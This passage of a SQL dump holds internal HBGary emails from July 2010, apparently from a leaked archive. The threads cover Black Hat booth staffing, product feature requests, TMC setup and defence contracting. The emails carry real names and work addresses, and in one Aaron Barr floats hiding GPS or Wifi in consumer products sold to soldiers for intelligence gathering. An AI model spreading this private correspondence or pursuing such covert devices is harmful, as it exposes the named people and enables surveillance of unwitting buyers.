GrantusG. Grant\'s\r\ne-mail address is grant_gross@idg.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1473,'aaron_hbgary_com/1473.html'),(8656,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006660.M36804P14101Q3511.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meeting Gatorbiat','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Charlie Scuilla \r\n> Date: June 23, 2010 10:00:32 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Meeting Gatorbiat\r\n> \r\n> Sorry it t\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15863,'aaron_hbgary_com/15863.html'),(8657,'2010-07-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006660.M609586P14101Q3512.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Who is going to blackhat?',' \r\nWell,\r\nI am NOT going to be in the booth giving demo&#39;s.  Rich will not be in the booth very much, which is typical.  So, this setup isn&#39;t good.  We need someone who can demo the product who is going to do booth duty or we may as well forget setting up the demo.  In fact, why can&#39;t Penny or Mike demo the product ? lol  Where are the SE&#39;s in this equation?\r\n\r\n \r\n-Greg\r\n \r\n \r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich, Aaron and me.  It’s a two day show (W-Th).  Bob and Maria are getting ready for GFirst which is the next show.\r\n\r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.comSubject: Who is going to blackhat?\r\n\r\n \r\n\r\n \r\n\r\nAll,\r\n\r\nWho is going to be at Blackhat?\r\n\r\n \r\n\r\n-Greg\r\n',9955,'aaron_hbgary_com/9955.html'),(8658,'2010-07-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006660.M838108P14101Q3513.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"HBGary Employees\" <all@hbgary.com>','RE: Next iteration is coming up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI vote for timeline control as number 1.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:19 AM\r\nTo: all@hbgary.com\r\nSubject: Next iteration is coming up\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nPlease send me your iteration top feature request. \r\nRemember, there is no guarantee we will do anything you ask for, but this helps\r\nus make priorities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere are some:\r\n\r\n\r\n\r\n\r\n\r\n- timeline control\r\n\r\n\r\n\r\n\r\n\r\n- nodes work even when windows networking is not enabled\r\n(manual installs)\r\n\r\n\r\n\r\n\r\n\r\n- single-point node status (the definitive state of any node\r\ngiven in one spot - user does not need to cross-reference any other data to\r\ntrouble shoot)\r\n\r\n\r\n\r\n\r\n\r\n- full AD integration with ePO (not just license server, but\r\nall features)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe above list is not a list of features that will be\r\nimplemented, this is a suggestive list only of possible features that may or\r\nmay not be implemented depending on our planning and priorities.  This\r\nmessage will self destruct in 60 seconds.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13035,'aaron_hbgary_com/13035.html'),(8659,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006661.M392427P14101Q3515.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Who is going to blackhat?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich, I&#8217;m bringing you there to be at the booth, not to walk\r\naround.&nbsp; If you can&#8217;t do that, then I will bring someone else.&nbsp; This is not a\r\nparty, it&#8217;s a work event, I&#8217;ve paid for a booth and the ONLY person talking is\r\nGreg.&nbsp; We are there to promote HBGary, otherwise, it&#8217;s not an effective use of\r\nyour time.&nbsp; You decide within the hour and let me know\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Friday, July 16, 2010 7:42 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Mike Spohn; Aaron Barr\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg&#8217;s right.&nbsp; Pizzo or Phil should be there to demo too.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:38 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\nSubject: Re: Who is going to blackhat?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWell,\r\n\r\n\r\n\r\n\r\n\r\nI am NOT going to be in the booth giving demo\'s.&nbsp; Rich\r\nwill not be in the booth very much, which is typical.&nbsp; So, this setup\r\nisn\'t good.&nbsp; We need someone who can demo the product who is going to do\r\nbooth duty or we may as well forget setting up the demo.&nbsp; In fact, why\r\ncan\'t Penny or Mike demo the product ? lol&nbsp; Where are the SE\'s in this\r\nequation?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich,\r\nAaron and me.&nbsp; It&#8217;s a two day show (W-Th).&nbsp; Bob and Maria are getting\r\nready for GFirst which is the next show.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.com\r\nSubject: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nis going to be at Blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15760,'aaron_hbgary_com/15760.html'),(8660,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006661.M618872P14101Q3516.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','RE: Who is going to blackhat?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou will need to be at the booth since people will want to talk\r\nto you and see the product.&nbsp; You need to be there to do demo&#8217;s as well.&nbsp; I know\r\nMike can demo, not sure about Aaron and Rich will be there.&nbsp; It&#8217;s two days, not\r\n4 so it shouldn&#8217;t be that big of a deal\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 7:38 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\nSubject: Re: Who is going to blackhat?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWell,\r\n\r\n\r\n\r\n\r\n\r\nI am NOT going to be in the booth giving demo\'s.&nbsp; Rich\r\nwill not be in the booth very much, which is typical.&nbsp; So, this setup\r\nisn\'t good.&nbsp; We need someone who can demo the product who is going to do\r\nbooth duty or we may as well forget setting up the demo.&nbsp; In fact, why\r\ncan\'t Penny or Mike demo the product ? lol&nbsp; Where are the SE\'s in this\r\nequation?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich,\r\nAaron and me.&nbsp; It&#8217;s a two day show (W-Th).&nbsp; Bob and Maria are getting\r\nready for GFirst which is the next show.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.com\r\nSubject: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nis going to be at Blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8854,'aaron_hbgary_com/8854.html'),(8661,'2010-07-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006661.M876815P14101Q3517.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Who is going to blackhat?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWho is going to demo?  Just me?  That is ridiculous to\r\nthink 1 person can do all the demos that will be required.  You’ve\r\ngot 3 people who can talk talk talk  and 1 who can demo?… not good\r\nplanning in my mind.  Blackhat is mostly geeks that do not want to hear a\r\nsales pitch but want to talk to SE’s.  But do what you want.   I\r\nthink we should have 2 or 3 who can demo and talk and fewer who can just talk. \r\nI’m not going to party….  I don’t want to travel at all\r\nright now after being on the road for 2 months straight. \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 16, 2010 10:45 AM\r\nTo: &#39;Rich Cummings&#39;; &#39;Greg Hoglund&#39;\r\nCc: &#39;Mike Spohn&#39;; &#39;Aaron Barr&#39;\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRich, I’m bringing you there to be at the booth, not to\r\nwalk around.  If you can’t do that, then I will bring someone\r\nelse.  This is not a party, it’s a work event, I’ve paid for a\r\nbooth and the ONLY person talking is Greg.  We are there to promote\r\nHBGary, otherwise, it’s not an effective use of your time.  You\r\ndecide within the hour and let me know\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Friday, July 16, 2010 7:42 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Mike Spohn; Aaron Barr\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreg’s right.  Pizzo or Phil should be there to demo\r\ntoo.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:38 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\nSubject: Re: Who is going to blackhat?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWell,\r\n\r\n\r\n\r\n\r\n\r\nI am NOT going to be in the booth giving demo&#39;s.  Rich\r\nwill not be in the booth very much, which is typical.  So, this setup\r\nisn&#39;t good.  We need someone who can demo the product who is going to do\r\nbooth duty or we may as well forget setting up the demo.  In fact, why\r\ncan&#39;t Penny or Mike demo the product ? lol  Where are the SE&#39;s in this\r\nequation?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich,\r\nAaron and me.  It’s a two day show (W-Th).  Bob and Maria are\r\ngetting ready for GFirst which is the next show.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.com\r\nSubject: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nis going to be at Blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3501,'aaron_hbgary_com/3501.html'),(8662,'2010-07-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006661.M96529P14101Q3514.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','RE: Who is going to blackhat?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg’s right.  Pizzo or Phil should be there to demo too.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:38 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\nSubject: Re: Who is going to blackhat?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWell,\r\n\r\n\r\n\r\n\r\n\r\nI am NOT going to be in the booth giving demo&#39;s.  Rich\r\nwill not be in the booth very much, which is typical.  So, this setup\r\nisn&#39;t good.  We need someone who can demo the product who is going to do\r\nbooth duty or we may as well forget setting up the demo.  In fact, why\r\ncan&#39;t Penny or Mike demo the product ? lol  Where are the SE&#39;s in this\r\nequation?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich,\r\nAaron and me.  It’s a two day show (W-Th).  Bob and Maria are getting\r\nready for GFirst which is the next show.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.com\r\nSubject: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nis going to be at Blackhat?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10341,'aaron_hbgary_com/10341.html'),(8663,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006662.M218218P14101Q3518.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Who is going to blackhat?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Spohn can demo and Greg will demo, that is three people.&nbsp; If\r\nyou don&#8217;t&#8217; want to go then I can send Phil.&nbsp; Like all shows, it&#8217;s only when\r\npeople are out from talks that they will be at the booth, so it&#8217;s not all day.&nbsp;\r\nIf you don&#8217;t&#8217; want to travel then let me know\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Friday, July 16, 2010 7:54 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Mike Spohn; Aaron Barr\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho is going to demo?&nbsp; Just me?&nbsp; That is ridiculous to\r\nthink 1 person can do all the demos that will be required.&nbsp; You&#8217;ve got 3\r\npeople who can talk talk talk &nbsp;and 1 who can demo?&#8230; not good planning in\r\nmy mind. &nbsp;Blackhat is mostly geeks that do not want to hear a sales pitch\r\nbut want to talk to SE&#8217;s.&nbsp; But do what you want.&nbsp; &nbsp;I think we\r\nshould have 2 or 3 who can demo and talk and fewer who can just talk.&nbsp; I&#8217;m\r\nnot going to party&#8230;.&nbsp; I don&#8217;t want to travel at all right now after being\r\non the road for 2 months straight. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 16, 2010 10:45 AM\r\nTo: \'Rich Cummings\'; \'Greg Hoglund\'\r\nCc: \'Mike Spohn\'; \'Aaron Barr\'\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRich, I&#8217;m bringing you there to be at the booth, not to walk\r\naround.&nbsp; If you can&#8217;t do that, then I will bring someone else.&nbsp; This\r\nis not a party, it&#8217;s a work event, I&#8217;ve paid for a booth and the ONLY person\r\ntalking is Greg.&nbsp; We are there to promote HBGary, otherwise, it&#8217;s not an\r\neffective use of your time.&nbsp; You decide within the hour and let me know\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Friday, July 16, 2010 7:42 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Mike Spohn; Aaron Barr\r\nSubject: RE: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg&#8217;s right.&nbsp; Pizzo or Phil should be there to demo too.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:38 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\nSubject: Re: Who is going to blackhat?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWell,\r\n\r\n\r\n\r\n\r\n\r\nI am NOT going to be in the booth giving demo\'s.&nbsp; Rich\r\nwill not be in the booth very much, which is typical.&nbsp; So, this setup\r\nisn\'t good.&nbsp; We need someone who can demo the product who is going to do\r\nbooth duty or we may as well forget setting up the demo.&nbsp; In fact, why\r\ncan\'t Penny or Mike demo the product ? lol&nbsp; Where are the SE\'s in this\r\nequation?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSo far it is Greg, Mike Spohn, Rich,\r\nAaron and me.&nbsp; It&#8217;s a two day show (W-Th).&nbsp; Bob and Maria are getting\r\nready for GFirst which is the next show.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Friday, July 16, 2010 7:09 AM\r\nTo: all@hbgary.com\r\nSubject: Who is going to blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nis going to be at Blackhat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12162,'aaron_hbgary_com/12162.html'),(8664,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006662.M506032P14101Q3519.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','Re: Who is going to blackhat?','I am flexible. &nbsp;I can demo and talk to Active Defense and will be there to talk about threat intelligence, TMC, and Social Media. &nbsp;I can talk a good game about Responder just can\'t demo it well yet, but a little 1on1 with Rich or Mike and I could probably manage it fairly well. &nbsp;Leave it up to you.AaronOn Jul 16, 2010, at 10:54 AM, Rich Cummings wrote:Who is going to demo?&nbsp; Just me?&nbsp; That is ridiculous to think 1 person can do all the demos that will be required.&nbsp; You’ve got 3 people who can talk talk talk &nbsp;and 1 who can demo?… not good planning in my mind. &nbsp;Blackhat is mostly geeks that do not want to hear a sales pitch but want to talk to SE’s.&nbsp; But do what you want.&nbsp; &nbsp;I think we should have 2 or 3 who can demo and talk and fewer who can just talk.&nbsp; I’m not going to party….&nbsp; I don’t want to travel at all right now after being on the road for 2 months straight.&nbsp;&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 16, 2010 10:45 AMTo:&nbsp;\'Rich Cummings\'; \'Greg Hoglund\'Cc:&nbsp;\'Mike Spohn\'; \'Aaron Barr\'Subject:&nbsp;RE: Who is going to blackhat?&nbsp;Rich, I’m bringing you there to be at the booth, not to walk around.&nbsp; If you can’t do that, then I will bring someone else.&nbsp; This is not a party, it’s a work event, I’ve paid for a booth and the ONLY person talking is Greg.&nbsp; We are there to promote HBGary, otherwise, it’s not an effective use of your time.&nbsp; You decide within the hour and let me know&nbsp;From:&nbsp;Rich Cummings [mailto:rich@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 16, 2010 7:42 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Mike Spohn; Aaron BarrSubject:&nbsp;RE: Who is going to blackhat?&nbsp;Greg’s right.&nbsp; Pizzo or Phil should be there to demo too.&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 16, 2010 10:38 AMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;Mike Spohn; Rich Cummings;&nbsp;aaron@hbgary.comSubject:&nbsp;Re: Who is going to blackhat?&nbsp;&nbsp;Well,I am NOT going to be in the booth giving demo\'s.&nbsp; Rich will not be in the booth very much, which is typical.&nbsp; So, this setup isn\'t good.&nbsp; We need someone who can demo the product who is going to do booth duty or we may as well forget setting up the demo.&nbsp; In fact, why can\'t Penny or Mike demo the product ? lol&nbsp; Where are the SE\'s in this equation?&nbsp;-Greg&nbsp;&nbsp;On Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:So far it is Greg, Mike Spohn, Rich, Aaron and me.&nbsp; It’s a two day show (W-Th).&nbsp; Bob and Maria are getting ready for GFirst which is the next show.&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 16, 2010 7:09 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Who is going to blackhat?&nbsp;&nbsp;All,Who is going to be at Blackhat?&nbsp;-Greg&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13525,'aaron_hbgary_com/13525.html'),(8665,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006662.M826472P14101Q3520.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Status of things','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: July 16, 2010 8:57:25 AM MDT\r\nTo: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Re: Status of thingsLast week we were able to make ghost images of the TMC Master and Slave nodes and got an overview from Martin. We also met with Scott, Michael and Martin to discuss integrating TMC into the HBGary.com portal. It was decided that the path of least resistance was to fix the current portal and that Michael would be best to do it. Working through compile errors basically. Mark was tasked to set up the mySql server at the colo. \r\n\r\nThis week we set up TMC on two systems, so we have one master and one slave. I loaded the Aurora malware disk you gave me to test it out. Mark set up the mysql server and sent an email to Scott and Michael. Once the portal compiles, Mark is going to plug in the TMC and remove the old feed processor links. \r\n\r\nI had some meetings this week with BAE. We signed ndas and after our discussions they said they want us on their team for Asteroid, a $500M multiyear IDIQ. I expect the draft teaming agreement early next week. I am meeting again with their Sr Capture Manager next week when he is here in Colorado (he&#39;s works out of the East Coast). \r\n\r\nI hadn&#39;t heard about the TMC license task until I received Penny&#39;s email shortly after yours. I will work on it today. TedOn Jul 16, 2010, at 8:10 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTed,\r\nWhat is going on out there?  Did you guys ever work on the prototype for rootkit.com?  Did you setup a working TMC?  Did you do the license work required for the TMC_SDK?\r\n\r\n\r\n \r\n-Greg\r\n\r\n\r\n',11750,'aaron_hbgary_com/11750.html'),(8666,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006666.M268784P14101Q3521.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','An angle I am adding to my training','So part of my schtick is you don\'t need a large intelligence infrastructure to get valuable intelligence information.  With the growth of the social web you can virally grow business and sell product at the grass roots level.\r\n\r\nTake this facebook page for example.  This item is selling well amongst US military personnel.  All its says is Hooah!  How much electronics do you think it takes to do that?  What else could you put in there?  GPS?  Wifi?  What other types of things can you build that are commercially viable that could have dual purposes.  This is a big thrust of HBGary Fed.  I talked to the EUCOM IO CMDR last night about this angle and he was vigorously taking notes.\r\n\r\nAaron\r\n\r\n',5102,'aaron_hbgary_com/5102.html'),(8667,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006666.M546281P14101Q3522.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','RE: Tonights Dinner','Wow, awesome.  We need to be higher up at NSA.  Bob, can we get an update\r\nhow things are going at NSA with the Blue Team for Aaron?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 6:12 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Rich Cummings; Ted Vera; Bob Slapnik\r\nSubject: Tonights Dinner\r\n\r\nJust cuz its so friggin cool I thought I would share.\r\n\r\nSo I have been invited to attend these Thursday dinners hosted by the OSD\r\nATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays guest\r\nwas the IO Commander for EUCOM.  The discussion went great and he said at\r\nthe end he would like to involve us in developing an updated IO strategy for\r\nEUCOM.  He was floored by the threat intelligence/attribution, Social 